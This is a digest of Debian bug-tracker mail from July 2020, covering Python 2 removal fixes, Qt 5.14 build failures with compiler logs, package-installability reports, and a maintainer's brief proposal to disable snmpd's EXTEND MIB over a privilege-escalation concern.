Processed: patches

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tag 960662 patch
Bug #960662 [python-spyne] spyne: unsatisfiable dependency on lxml
Added tag(s) patch.
> tag 932379 patch
Bug #932379 [apt-mirror] apt-mirror doesn't grab *.xz i18n Translation files
Added tag(s) patch.
> tag 937093 patch
Bug #937093 [src:mupdf] mupdf: Python2 removal in sid/bullseye
Added tag(s) patch.
>
End of message, stopping processing here.

Please contact me if you need assistance.
-- 
932379: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=932379
937093: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=937093
960662: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=960662
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965166: [Pkg-net-snmp-devel] Bug#965166: snmpd privilege escalation

[Bart Van Assche]

Please trim quoted emails when replying.

Net-SNMP version 5.7.3, the version included in Debian, is no longer
maintained upstream.

A patch has been applied to the Net-SNMP v5.8 and master branches that
removes the EXTEND MIB from the list with default MIBs. See also commit
c2b96ee74439 ("snmpd: Disable NET-SNMP-EXTEND-MIB support by default").
However, it's still possible that that patch is reverted before the next
version is released.

Not allowing to set agentUser in /var/lib/snmp/snmpd.conf would probably
help to address the reported vulnerability. However, I doubt that this
would address all vulnerabilities that could be triggered via the EXTEND
MIB. Since the EXTEND MIB allows to run any shell command from a remote
system it can be used for privilege escalation. Since Net-SNMP already
supports other mechanisms for extending snmpd, e.g. the extend and
extendfix directives in snmpd.conf, I propose to disable the EXTEND MIB.

Bug#965239: musescore-snapshot: FTBFS against Qt 5.14: error: ambiguous overload for ‘operator<<’

[Thorsten Glaser]

Andreas Beckmann dixit:

>musescore-snapshot/experimental recently started to FTBFS, likely due to
>some changes in Qt 5.14:

Yes, same as #964641. I’m aware, but thank you anyway,
in case I hadn’t been aware.

This will go away with the next upload, but I’ll handle sid first
and have to test some patches first…

bye,
//mirabilos
--  
When he found out that the m68k port was in a pretty bad shape, he did
not, like many before him, shrug and move on; instead, he took it upon
himself to start compiling things, just so he could compile his shell.
How's that for dedication. -- Wouter, about my Debian/m68k revival

Bug#965239: musescore-snapshot: FTBFS against Qt 5.14: error: ambiguous overload for ‘operator<<’

[Andreas Beckmann]

Package: musescore-snapshot
Version: 3.2.s20190704+dfsg1-1
Severity: serious
Tags: ftbfs
Justification: fails to build from source (but built successfully in the past)

Hi,

musescore-snapshot/experimental recently started to FTBFS, likely due to
some changes in Qt 5.14:


In file included from /usr/include/x86_64-linux-gnu/qt5/QtCore/qobject.h:54,
 from 
/usr/include/x86_64-linux-gnu/qt5/QtCore/qabstractanimation.h:43,
 from /usr/include/x86_64-linux-gnu/qt5/QtCore/QtCore:6,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGuiDepends:3,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGui:3,
 from all.h:62:
/usr/include/x86_64-linux-gnu/qt5/QtCore/qmetatype.h: In instantiation of 
‘static void QtMetaTypePrivate::QMetaTypeFunctionHelper::Save(QDataStream&, const void*) [with T = Ms::SessionStart; bool 
Accepted = true]’:
/usr/include/x86_64-linux-gnu/qt5/QtCore/qmetatype.h:1874:39:   required from 
‘void qRegisterMetaTypeStreamOperators(const char*, T*) [with T = 
Ms::SessionStart]’
/build/musescore-snapshot-3.2.s20190704+dfsg1/mscore/musescore.cpp:7178:68:   
required from here
/usr/include/x86_64-linux-gnu/qt5/QtCore/qmetatype.h:818:16: error: ambiguous 
overload for ‘operator<<’ (operand types are ‘QDataStream’ and ‘const 
Ms::SessionStart’)
  818 | stream << *static_cast(t);
  | ~~~^~~~
In file included from /usr/include/x86_64-linux-gnu/qt5/QtCore/QtCore:60,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGuiDepends:3,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGui:3,
 from all.h:62:
/usr/include/x86_64-linux-gnu/qt5/QtCore/qdatastream.h:389:1: note: candidate: 
‘typename std::enable_if::value, QDataStream&>::type& 
operator<<(QDataStream&, const T&) [with T = Ms::SessionStart; typename 
std::enable_if::value, QDataStream&>::type = QDataStream&]’
  389 | operator<<(QDataStream , const T )
  | ^~~~
In file included from 
/build/musescore-snapshot-3.2.s20190704+dfsg1/mscore/musescore.cpp:24:
/build/musescore-snapshot-3.2.s20190704+dfsg1/mscore/preferences.h:376:21: 
note: candidate: ‘QDataStream& Ms::operator<<(QDataStream&, const T&) [with T = 
Ms::SessionStart; typename std::enable_if::value>::type* 
 = 0]’
  376 | inline QDataStream <<(QDataStream , const T )
  | ^~~~
In file included from /usr/include/x86_64-linux-gnu/qt5/QtCore/qobject.h:54,
 from 
/usr/include/x86_64-linux-gnu/qt5/QtCore/qabstractanimation.h:43,
 from /usr/include/x86_64-linux-gnu/qt5/QtCore/QtCore:6,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGuiDepends:3,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGui:3,
 from all.h:62:
/usr/include/x86_64-linux-gnu/qt5/QtCore/qmetatype.h: In instantiation of 
‘static void QtMetaTypePrivate::QMetaTypeFunctionHelper::Load(QDataStream&, void*) [with T = Ms::SessionStart; bool Accepted 
= true]’:
/usr/include/x86_64-linux-gnu/qt5/QtCore/qmetatype.h:1874:39:   required from 
‘void qRegisterMetaTypeStreamOperators(const char*, T*) [with T = 
Ms::SessionStart]’
/build/musescore-snapshot-3.2.s20190704+dfsg1/mscore/musescore.cpp:7178:68:   
required from here
/usr/include/x86_64-linux-gnu/qt5/QtCore/qmetatype.h:823:16: error: ambiguous 
overload for ‘operator>>’ (operand types are ‘QDataStream’ and 
‘Ms::SessionStart’)
  823 | stream >> *static_cast(t);
  | ~~~^~
In file included from /usr/include/x86_64-linux-gnu/qt5/QtCore/QtCore:60,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGuiDepends:3,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGui:3,
 from all.h:62:
/usr/include/x86_64-linux-gnu/qt5/QtCore/qdatastream.h:394:1: note: candidate: 
‘typename std::enable_if::value, QDataStream&>::type& 
operator>>(QDataStream&, T&) [with T = Ms::SessionStart; typename 
std::enable_if::value, QDataStream&>::type = QDataStream&]’
  394 | operator>>(QDataStream , T )
  | ^~~~
In file included from 
/build/musescore-snapshot-3.2.s20190704+dfsg1/mscore/musescore.cpp:24:
/build/musescore-snapshot-3.2.s20190704+dfsg1/mscore/preferences.h:382:21: 
note: candidate: ‘QDataStream& Ms::operator>>(QDataStream&, T&) [with T = 
Ms::SessionStart; typename std::enable_if::value>::type* 
 = 0]’
  382 | inline QDataStream >>(QDataStream , T )
  | ^~~~
In file included from /usr/include/x86_64-linux-gnu/qt5/QtCore/qobject.h:54,
 from 
/usr/include/x86_64-linux-gnu/qt5/QtCore/qabstractanimation.h:43,
 from /usr/include/x86_64-linux-gnu/qt5/QtCore/QtCore:6,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGuiDepends:3,
 from /usr/include/x86_64-linux-gnu/qt5/QtGui/QtGui:3,
 from all.h:62:

Bug#928156: marked as done (python3-setuptools-scm: uninstallable in stretch-backports: python3-distutils is not a separate package in stretch)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 21:52:23 +
with message-id 
and subject line Bug#928156: fixed in setuptools-scm 4.1.2-4
has caused the Debian Bug report #928156,
regarding python3-setuptools-scm: uninstallable in stretch-backports: 
python3-distutils is not a separate package in stretch
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
928156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928156
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-setuptools-scm
Version: 3.2.0-1~bpo9+1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package is not
installable in stretch-backports:

# apt-get install python3-setuptools-scm -t stretch-backports
Reading package lists... Done
Building dependency tree   
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 python3-setuptools-scm : Depends: python3-distutils but it is not installable
E: Unable to correct problems, you have held broken packages.


python3-distutils is not packaged separately in stretch.


Cheers,

Andreas
--- End Message ---
--- Begin Message ---
Source: setuptools-scm
Source-Version: 4.1.2-4
Done: Sandro Tosi 

We believe that the bug you reported is fixed in the latest version of
setuptools-scm, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 928...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sandro Tosi  (supplier of updated setuptools-scm package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 17:33:30 -0400
Source: setuptools-scm
Architecture: source
Version: 4.1.2-4
Distribution: unstable
Urgency: medium
Maintainer: Debian Python Modules Team 

Changed-By: Sandro Tosi 
Closes: 928156
Changes:
 setuptools-scm (4.1.2-4) unstable; urgency=medium
 .
   * Drop python2 support; Closes: #928156
Checksums-Sha1:
 40976cc58de1cf922a8755c25cd8f33ac7f5b93f 2257 setuptools-scm_4.1.2-4.dsc
 e3efd3c554ac27fd20c08c1f387e080147f69cae 5044 
setuptools-scm_4.1.2-4.debian.tar.xz
 3474e8a7c02344030fd01329bdf491e26a06de6d 7776 
setuptools-scm_4.1.2-4_source.buildinfo
Checksums-Sha256:
 1bd8b69ef25a43f35a01e94ac2b2c1b49fbbf21aded85e60f80cc37ec744087f 2257 
setuptools-scm_4.1.2-4.dsc
 e7187c68bc47ce6164b0b1c5c1ef6a38879293f20c666353e131d3d401dd7c98 5044 
setuptools-scm_4.1.2-4.debian.tar.xz
 8702e77a7d8bb1f2e117858a36923c20e50d127c5aeec50a51eb57fb63025564 7776 
setuptools-scm_4.1.2-4_source.buildinfo
Files:
 54609f6412e42ae094d16891e27d8877 2257 python optional 
setuptools-scm_4.1.2-4.dsc
 45f42e540460e6aee1ed42fb6e1600f6 5044 python optional 
setuptools-scm_4.1.2-4.debian.tar.xz
 711b39ce532ed745379abe10bfb130a9 7776 python optional 
setuptools-scm_4.1.2-4_source.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEufrTGSrz5KUwnZ05h588mTgBqU8FAl8SGTcACgkQh588mTgB
qU/RcQ/+MxxtEwIJtkgxbHHkEZTLvi8cdYahYUHCN3gA2c8o5tFxHUAsBj225gIQ
kSMpsOT/uOV4Lleisz+voTUVZWoq4J8aG9Kq6YPiOR1zbvIzBXgDzkYd/TGwFf2p
sUZ25FamdSaVLvI/gX+ES4BXq/ngcEtaVCekM/iVtG6YrgIh7sghjj7r6eDtlUl/
9saI6mRgbljDIEYo65TMLkA/1KXRMGf8mbcVcYsPeYDFge2eB2Le6nTPBqZ3zNGO
s75oF/jpga0ITZZG8zHXHKCBFT/53avY1Hrw5XHIbK0FyZBPbtAYm33lXBTu50F0
FCzMqDNLwTBJGlcKOgO3wUBVYmftwJ+0BOiog3huIgdbZUC5y6trVOIQUbOcmrfU
eBOw5OVLj1l/c+Qoc36v7Tbl95Ens9FqeCoXxNlGR9OCzn00FCPjXWOyM1yoCtZ2
et3AFC2YyghVB2WHYYDvBC6byuZcsoCogALA6UOJkojB5mUaK4WLaNQ7DaVPK+im
lI+4PmWsZYtx7z287odNUzAHggn9FyNpLdsufVt/hUfct29D/5nbX414UxNQBLhn
J4+upRcRPVvf4Gq3otMmYmqPX8b8bgft/1PkMqPGCfSXx0dMTPNY9t0XX/LDkhVo
qKWF7iyXsRseQsR5pvqk/Cqgx2ITgZamvtYDIJMb8mZSbt9/gDM=
=MYbo
-END PGP SIGNATURE End Message ---

Processed: Bug#928156 marked as pending in setuptools-scm

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #928156 [python3-setuptools-scm] python3-setuptools-scm: uninstallable in 
stretch-backports: python3-distutils is not a separate package in stretch
Added tag(s) pending.

-- 
928156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928156
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#928156: marked as pending in setuptools-scm

[Sandro Tosi]

Control: tag -1 pending

Hello,

Bug #928156 in setuptools-scm reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/python-team/modules/setuptools-scm/-/commit/48e876e67e320ab561a996519d21291ff487bb5b


Drop python2 support; Closes: #928156


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/928156

Bug#938147: marked as done (python-roman: Python2 removal in sid/bullseye)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 21:04:44 +
with message-id 
and subject line Bug#938147: fixed in python-roman 2.0.0-5
has caused the Debian Bug report #938147,
regarding python-roman: Python2 removal in sid/bullseye
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
938147: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=938147
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:python-roman
Version: 2.0.0-3
Severity: normal
Tags: sid bullseye
User: debian-pyt...@lists.debian.org
Usertags: py2removal

Python2 becomes end-of-live upstream, and Debian aims to remove
Python2 from the distribution, as discussed in
https://lists.debian.org/debian-python/2019/07/msg00080.html

Your package either build-depends, depends on Python2, or uses Python2
in the autopkg tests.  Please stop using Python2, and fix this issue
by one of the following actions.

- Convert your Package to Python3. This is the preferred option.  In
  case you are providing a Python module foo, please consider dropping
  the python-foo package, and only build a python3-foo package.  Please
  don't drop Python2 modules, which still have reverse dependencies,
  just document them.
  
  This is the preferred option.

- If the package is dead upstream, cannot be converted or maintained
  in Debian, it should be removed from the distribution.  If the
  package still has reverse dependencies, raise the severity to
  "serious" and document the reverse dependencies with the BTS affects
  command.  If the package has no reverse dependencies, confirm that
  the package can be removed, reassign this issue to ftp.debian.org,
  make sure that the bug priority is set to normal and retitle the
  issue to "RM: PKG -- removal triggered by the Python2 removal".

- If the package has still many users (popcon >= 300), or is needed to
  build another package which cannot be removed, document that by
  adding the "py2keep" user tag (not replacing the py2remove tag),
  using the debian-pyt...@lists.debian.org user.  Also any
  dependencies on an unversioned python package (python, python-dev)
  must not be used, same with the python shebang.  These have to be
  replaced by python2/python2.7 dependencies and shebang.

  This is the least preferred option.

If the conversion or removal needs action on another package first,
please document the blocking by using the BTS affects command, like

  affects  + src:python-roman

If there is no py2removal bug for that reverse-dependency, please file
a bug on this package (similar to this bug report).

If there are questions, please refer to the wiki page for the removal:
https://wiki.debian.org/Python/2Removal, or ask for help on IRC
#debian-python, or the debian-pyt...@lists.debian.org mailing list.
--- End Message ---
--- Begin Message ---
Source: python-roman
Source-Version: 2.0.0-5
Done: Sandro Tosi 

We believe that the bug you reported is fixed in the latest version of
python-roman, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 938...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sandro Tosi  (supplier of updated python-roman package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 16:47:12 -0400
Source: python-roman
Architecture: source
Version: 2.0.0-5
Distribution: unstable
Urgency: medium
Maintainer: Debian Python Modules Team 

Changed-By: Sandro Tosi 
Closes: 938147
Changes:
 python-roman (2.0.0-5) unstable; urgency=medium
 .
   [ Debian Janitor ]
   * Add missing build dependency on dh addon.
   * Bump debhelper from old 11 to 12.
 .
   [ Sandro Tosi ]
   * Drop python2 support; Closes: #938147
Checksums-Sha1:
 b605a3e0f186e5aad5b3a72a694152c3bc386039 2109 python-roman_2.0.0-5.dsc
 bb1d1ad4dcfc258bf9461f50351dffd535dd0cd2 8616 
python-roman_2.0.0-5.debian.tar.xz
 25a6f1e3afa44f4365dcccf50d36dc784ac57b5f 6275 
python-roman_2.0.0-5_source.buildinfo
Checksums-Sha256:
 e2cc82ff4a358fe4733a51d0c9084387786a7fb7bd72451c08cd3b56ce085645 2109 
python-roman_2.0.0-5.dsc
 8369b1ae2c7b65c5093f9a29f4069b235760bd69ceffb6e85ed602612e93872a 8616 
python-roman_2.0.0-5.debian.tar.xz
 

Processed: closing 955118

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> close 955118
Bug #955118 {Done: Bill Blough } [src:django-cas-server] 
django-cas-server: FTBFS with Sphinx 2.4: AttributeError: 'Sphinx' object has 
no attribute 'add_description_unit'
Bug 955118 is already marked as done; not doing anything.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
955118: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=955118
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#937156: marked as done (nose: Python2 removal in sid/bullseye)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 21:03:47 +
with message-id 
and subject line Bug#937156: fixed in nose 1.3.7-7
has caused the Debian Bug report #937156,
regarding nose: Python2 removal in sid/bullseye
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
937156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=937156
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:nose
Version: 1.3.7-4
Severity: normal
Tags: sid bullseye
User: debian-pyt...@lists.debian.org
Usertags: py2removal

Python2 becomes end-of-live upstream, and Debian aims to remove
Python2 from the distribution, as discussed in
https://lists.debian.org/debian-python/2019/07/msg00080.html

Your package either build-depends, depends on Python2, or uses Python2
in the autopkg tests.  Please stop using Python2, and fix this issue
by one of the following actions.

- Convert your Package to Python3. This is the preferred option.  In
  case you are providing a Python module foo, please consider dropping
  the python-foo package, and only build a python3-foo package.  Please
  don't drop Python2 modules, which still have reverse dependencies,
  just document them.
  
  This is the preferred option.

- If the package is dead upstream, cannot be converted or maintained
  in Debian, it should be removed from the distribution.  If the
  package still has reverse dependencies, raise the severity to
  "serious" and document the reverse dependencies with the BTS affects
  command.  If the package has no reverse dependencies, confirm that
  the package can be removed, reassign this issue to ftp.debian.org,
  make sure that the bug priority is set to normal and retitle the
  issue to "RM: PKG -- removal triggered by the Python2 removal".

- If the package has still many users (popcon >= 300), or is needed to
  build another package which cannot be removed, document that by
  adding the "py2keep" user tag (not replacing the py2remove tag),
  using the debian-pyt...@lists.debian.org user.  Also any
  dependencies on an unversioned python package (python, python-dev)
  must not be used, same with the python shebang.  These have to be
  replaced by python2/python2.7 dependencies and shebang.

  This is the least preferred option.

If the conversion or removal needs action on another package first,
please document the blocking by using the BTS affects command, like

  affects  + src:nose

If there is no py2removal bug for that reverse-dependency, please file
a bug on this package (similar to this bug report).

If there are questions, please refer to the wiki page for the removal:
https://wiki.debian.org/Python/2Removal, or ask for help on IRC
#debian-python, or the debian-pyt...@lists.debian.org mailing list.
--- End Message ---
--- Begin Message ---
Source: nose
Source-Version: 1.3.7-7
Done: Sandro Tosi 

We believe that the bug you reported is fixed in the latest version of
nose, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 937...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sandro Tosi  (supplier of updated nose package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Fri, 17 Jul 2020 16:44:16 -0400
Source: nose
Architecture: source
Version: 1.3.7-7
Distribution: unstable
Urgency: low
Maintainer: Debian Python Modules Team 

Changed-By: Sandro Tosi 
Closes: 937156
Changes:
 nose (1.3.7-7) unstable; urgency=low
 .
   [ Debian Janitor ]
   * Set upstream metadata fields: Bug-Database, Bug-Submit, Repository,
 Repository-Browse.
 .
   [ Sandro Tosi ]
   * Drop python2 support; Closes: #937156
Checksums-Sha1:
 5f7800c831061a2f607f2fd5da04ec99b3e75f63 2134 nose_1.3.7-7.dsc
 76e07aae738d86e4d95f45d3bb8fd42d7f6fe8e5 13832 nose_1.3.7-7.debian.tar.xz
 40b4d0886248ea492ad3bcee09f636879febe53c 7287 nose_1.3.7-7_source.buildinfo
Checksums-Sha256:
 30cfad165fe4382131475bf02454a1d25093874d5bd113339ebd1f213b9a6c9a 2134 
nose_1.3.7-7.dsc
 279265e0fa7c17fa2e47dde0a5016205763566c1a643ffba9cb04b59ab3f7b89 13832 
nose_1.3.7-7.debian.tar.xz
 6b0b8affeadb2ec2b403dd97520d5d876c4cb36ad5283f6057b39e2b014bdcb8 7287 
nose_1.3.7-7_source.buildinfo
Files:
 

Bug#938147: marked as pending in python-roman

[Sandro Tosi]

Control: tag -1 pending

Hello,

Bug #938147 in python-roman reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/python-team/modules/python-roman/-/commit/d469b6fd6d4b5d8e7ea2860af810f8f8bf759340


Drop python2 support; Closes: #938147


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/938147

Processed: Bug#938147 marked as pending in python-roman

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #938147 [src:python-roman] python-roman: Python2 removal in sid/bullseye
Added tag(s) pending.

-- 
938147: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=938147
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Bug#937156 marked as pending in nose

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #937156 [src:nose] nose: Python2 removal in sid/bullseye
Added tag(s) pending.

-- 
937156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=937156
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#937156: marked as pending in nose

[Sandro Tosi]

Control: tag -1 pending

Hello,

Bug #937156 in nose reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/python-team/modules/nose/-/commit/0767bd4dc8b800b8a19f8fae3be000c034be783b


Drop python2 support; Closes: #937156


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/937156

Bug#964617: marked as done (yade: FTBFS: GLViewer.cpp:243:93: error: ‘QString::null’ is deprecated: use QString() [-Werror=deprecated-declarations])

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 20:36:22 +
with message-id 
and subject line Bug#964617: fixed in yade 2020.01a-9
has caused the Debian Bug report #964617,
regarding yade: FTBFS: GLViewer.cpp:243:93: error: ‘QString::null’ is 
deprecated: use QString() [-Werror=deprecated-declarations]
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
964617: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964617
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: yade
Version: 2020.01a-8
Severity: serious
Justification: FTBFS on amd64
Tags: bullseye sid ftbfs
Usertags: ftbfs-20200709 ftbfs-bullseye

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.

Relevant part (hopefully):
> cd /<>/debian/build/gui && /usr/bin/c++  -DBOOST_ALL_NO_LIB 
> -DBOOST_ATOMIC_DYN_LINK -DBOOST_CHRONO_DYN_LINK -DBOOST_DATE_TIME_DYN_LINK 
> -DBOOST_FILESYSTEM_DYN_LINK -DBOOST_IOSTREAMS_DYN_LINK -DBOOST_LOG_DYN_LINK 
> -DBOOST_PYTHON_DYN_LINK -DBOOST_REGEX_DYN_LINK -DBOOST_SERIALIZATION_DYN_LINK 
> -DBOOST_SYSTEM_DYN_LINK -DBOOST_THREAD_DYN_LINK -DMAX_LOG_LEVEL=5 
> -DQT_CORE_LIB -DQT_GUI_LIB -DQT_NO_DEBUG -DQT_OPENGL_LIB -DQT_WIDGETS_LIB 
> -DQT_XML_LIB -DSUITESPARSE_VERSION_4 -DYADE_BOOST_LOG -DYADE_FEM 
> -DYADE_ODEINT -DYADE_POTENTIAL_PARTICLES -DYADE_SPH -D_GLViewer_EXPORTS 
> -I/<>/debian/build/gui/_GLViewer_autogen/include 
> -I/<> -I/usr/include/python3.8 
> -I/usr/lib/python3/dist-packages/numpy/core/include -I/usr/include/eigen3 
> -I/usr/include/vtk-6.3 -I/usr/include/glib-2.0 
> -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -I/usr/include/suitesparse 
> -I/usr/lib/x86_64-linux-gnu/openmpi/include/openmpi 
> -I/usr/lib/x86_64-linux-gnu/openmpi/include 
> -I/usr/lib/python3/dist-packages/mpi4py/include 
> -I/<>/debian/build -I/usr/include/QGLViewer -isystem 
> /usr/include/x86_64-linux-gnu/qt5 -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtWidgets -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtGui -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtCore -isystem 
> /usr/lib/x86_64-linux-gnu/qt5/mkspecs/linux-g++ -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtXml -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtOpenGL  -g -O2 
> -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2  -Werror -Wformat 
> -Wformat-security -Wformat-nonliteral -Wall -Wextra -Wnarrowing -Wreturn-type 
> -Wuninitialized -Wfloat-conversion -Wcast-align -Wdisabled-optimization 
> -Wtrampolines -Wpointer-arith -Wswitch-bool -Wwrite-strings 
> -Wnon-virtual-dtor -Wreturn-local-addr  -Wno-error=maybe-uninitialized 
> -Wno-comment -Wno-cast-function-type -Wno-deprecated-copy 
> -Wshadow=compatible-local -Wno-error=cpp -fdce -fstack-protector-strong 
> -DYADE_VTK -DYADE_OPENMP -fopenmp -DYADE_GTS  -DQGLVIEWER_FOUND -DYADE_OPENGL 
> -DYADE_QT5  -DYADE_CGAL -DFLOW_ENGINE -DFLOW_ENGINE  -DLINSOLV -pthread 
> -DYADE_MPI -DTWOPHASEFLOW -DYADE_GL2PS -DLBM_ENGINE -DTHERMAL -fPIC   
> -ftrack-macro-expansion=0 -save-temps -DEIGEN_DONT_VECTORIZE 
> -DEIGEN_DONT_ALIGN -DEIGEN_DISABLE_UNALIGNED_ARRAY_ASSERT 
> -DCGAL_DISABLE_ROUNDING_MATH_CHECK -frounding-math -fPIC -std=gnu++14 -o 
> CMakeFiles/_GLViewer.dir/qt5/GLViewer.cpp.o -c 
> /<>/gui/qt5/GLViewer.cpp
> /<>/gui/qt5/GLViewer.cpp: In member function ‘virtual void 
> yade::GLViewer::keyPressEvent(QKeyEvent*)’:
> /<>/gui/qt5/GLViewer.cpp:243:93: error: ‘QString::null’ is 
> deprecated: use QString() [-Werror=deprecated-declarations]
>   243 |   setStateFileName("/tmp/qglviewerState.xml"); saveStateToFile(); 
> setStateFileName(QString::null);
>   |   
>   ^~~~
> In file included from /usr/include/x86_64-linux-gnu/qt5/QtCore/qobject.h:47,
>  from /usr/include/x86_64-linux-gnu/qt5/QtCore/QObject:1,
>  from /usr/include/QGLViewer/keyFrameInterpolator.h:26,
>  from /usr/include/QGLViewer/camera.h:26,
>  from /usr/include/QGLViewer/qglviewer.h:26,
>  from /<>/gui/qt5/GLViewer.hpp:12,
>  from /<>/gui/qt5/GLViewer.cpp:11:
> /usr/include/x86_64-linux-gnu/qt5/QtCore/qstring.h:913:23: note: declared here
>   913 | static const Null null;
>   |   ^~~~
> /<>/gui/qt5/GLViewer.cpp:243:93: error: ‘QString::null’ is 
> deprecated: use QString() [-Werror=deprecated-declarations]
>   243 |   setStateFileName("/tmp/qglviewerState.xml"); saveStateToFile(); 
> setStateFileName(QString::null);
>   |  

Processed: py2removal bugs severity updates - 2020-07-17 20:34:11.460067+00:00

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> # This is an automated script, part of the effort for the removal of Python 2 
> from bullseye
> #  * https://wiki.debian.org/Python/2Removal
> #  * http://sandrotosi.me/debian/py2removal/index.html
> # See https://lists.debian.org/debian-devel-announce/2019/11/msg0.html
> # and https://lists.debian.org/debian-python/2019/12/msg00076.html
> # and https://lists.debian.org/debian-python/2020/03/msg00087.html
> # mail threads for more details on this severity update
> # python-pil is a module and has 0 external rdeps or not in testing
> # python-pil.imagetk is a module and has 0 external rdeps or not in testing
> severity 953220 serious
